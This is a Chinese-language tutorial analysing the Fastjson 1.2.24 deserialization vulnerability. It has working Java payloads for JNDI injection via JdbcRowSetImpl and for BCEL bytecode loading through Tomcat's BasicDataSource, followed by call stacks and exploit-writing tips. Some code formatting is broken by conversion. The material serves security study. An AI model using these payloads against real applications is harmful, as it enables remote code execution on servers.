fastjson结合JNDI和Tomcat
字数 1029 2025-08-24 07:48:22
Fastjson反序列化漏洞分析与利用
1. Fastjson简介
Fastjson是阿里巴巴的开源JSON解析库,它可以:
- 解析JSON格式的字符串
- 支持将Java Bean序列化为JSON字符串
- 可以从JSON字符串反序列化到JavaBean
漏洞利用点:对JavaBean格式类的序列化与反序列化会有方法执行,可以构造恶意执行链。
2. 环境搭建
依赖配置
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
3. 漏洞利用方式
3.1 可出网环境利用
import com.alibaba.fastjson.JSON;
public class DemoTest {
public static void main(String[] args) {
JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/lasthh\",\"autoCommit\":\"true\"}");
}
}
3.2 不可出网环境利用
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.io.*;
import java.nio.file.Paths;
public class DemoTest1 {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class"));
String code = Utility.encode(bytes, true);
JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
" + code + "\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");
}
}
4. 调用栈分析
4.1 可出网利用调用栈
lookup: 94, ldapURLContext (com.sun.jndi.url.ldap)
lookup: 417, InitialContext (javax.naming)
connect: 624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit: 4067, JdbcRowSetImpl (com.sun.rowset)
invoke0: -1, NativeMethodAccessorImpl (sun.reflect)
invoke: 62, NativeMethodAccessorImpl (sun.reflect)
invoke: 43, DelegatingMethodAccessorImpl (sun.reflect)
invoke: 497, Method (java.lang.reflect)
setValue: 96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField: 83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField: 773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze: 600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest: 922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze: -1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze: 184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject: 368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse: 1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse: 1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse: 137, JSON (com.alibaba.fastjson)
parse: 128, JSON (com.alibaba.fastjson)
main: 5, DemoTest
4.2 不可出网利用调用栈
defineClass: 642, ClassLoader (java.lang)
loadClass: 163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass: 357, ClassLoader (java.lang)
forName0: -1, Class (java.lang)
forName: 348, Class (java.lang)
createConnectionFactory: 2125, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource: 2032, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection: 1532, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
main: 23, DemoTest1
5. 漏洞原理分析
5.1 可出网利用分析
-
首先调用
com.sun.rowset.JdbcRowSetImpl的setDataSourceName方法- 父类成功赋值
dataSourceName
- 父类成功赋值
-
然后调用
setAutoCommit方法this.conn默认为null,进入connect方法体this.getDataSourceName不为空(已赋值)- 流程走到
lookup(),触发JNDI注入
5.2 不可出网利用分析
-
关键点在
com.sun.org.apache.bcel.internal.util.ClassLoader类的protected Class loadClass(String class_name, boolean resolve)- 可以传入BCEL类型的字节码
- 会加载字节码并实例化
-
利用方式:
ClassLoader classLoader = new ClassLoader(); byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class")); String code = Utility.encode(bytes, true); classLoader.loadClass("
\[BCEL \]
" + code).newInstance();
3. 通过`org.apache.tomcat.dbcp.dbcp2.BasicDataSource`类调用
- `JSON.parseObject`会执行类下的setter方法和符合条件的getter方法
- 最终调用链:
- `getConnection()`
- `createDataSource()`
- `createConnectionFactory()`
- 关键代码:
```java
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
```
- `true`表示加载类时会执行static代码块
4. Fastjson反序列化赋值:
```java
JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
" + code + "\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");
6. 注意事项
-
对于
JdbcRowSetImpl类利用:- 需要目标可以出网
- JDK版本不能太高
- 限制性强
-
对于
BasicDataSource类利用:- 目标不需要出网
- 需要有Tomcat的依赖
- 较为普遍
-
手写EXP时的注意点:
- 对
dataSourceName传值要加载远程Reference绑定的恶意对象 - 对
autoCommit传值,任意的布尔类型都可以
- 对